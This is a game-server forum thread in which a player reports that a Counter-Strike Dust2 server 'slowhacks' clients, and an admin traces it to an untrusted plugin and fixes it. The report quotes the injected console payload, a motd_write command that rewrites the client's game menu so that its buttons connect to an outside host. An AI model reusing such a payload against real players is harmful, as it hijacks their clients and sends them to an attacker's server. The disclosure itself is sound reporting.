Dust2 Server Slowhacking Clients

[NeedforSpeedo]

Heya Need for Speedo here,

I just noticed that the Dust2 server is trying to inject commands in to player's clients when they join.
If I'm not mistaken the term for this is slowhack - injecting commands, changing binds, or in this case, it's trying to change the GameMenu so that players auto connect to some malicious server.

Here's the message I get on my console on every connection to the server:

Code:

Server tried to send invalid command:"motdfile "resource/GameMenu.res"
"Server tried to send invalid command:"motd_write "GameMenu" { "1" { "label" "NewGame" "command" "engine Connect http://cwserverbre.zapto.org:27015" "3" { "label" "#GameUI_GameMenu_ResumeGame" "command" "ResumeGame" "OnlyInGame" "1" } "4" { "label" "#GameUI_GameMenu_Disconnect" "command" "Disconnect" "OnlyInGame" "1" "notsingle" "1" } "5" { "label" "#GameUI_GameMenu_PlayerList" "command" "OpenPlayerListDialog" "OnlyInGame" "1" "notsingle" "1" } "9" { "label" "" "command" "" "OnlyInGame" "1" } } "11" { "label" "#GameUI_GameMenu_FindServers" "command" "engine Connect http://cwserverbre.zapto.org:27015" } "12" { "label" "#GameUI_GameMenu_Options" "command" "OpenOptionsDialog" } "13" { "label" "#GameUI_GameMenu_Quit" "command" "Quit" } }

I have tried this with a 100% clean install of CS and it still happens. I talked to an admin and they confirmed that they also got it.

As far as I know it's likely 1 malicious amxmodx plugin that is doing this. According to this thread the 'add bot spectator' plugin has been seen to do this, but I can't speak for this specific server of course.

I think Valve patched this particular command some years ago but maybe some non-steam clients are vulnerable to it.

Not a huge problem for me but I think it's worrying and thought I should let you guys know.

Thanks

[SHIFT]

thank you for your report, will investigate this. Mostly i am suspecting plugins we added recently for banning returning non steamers.
This plugins have no source code, Will disable it and test again.

---

check now and confirm if it fixed

[NeedforSpeedo]

thank you for your report, will investigate this. Mostly i am suspecting plugins we added recently for banning returning non steamers.
This plugins have no source code, Will disable it and test again.

---

check now and confirm if it fixed

Fixed! Thanks.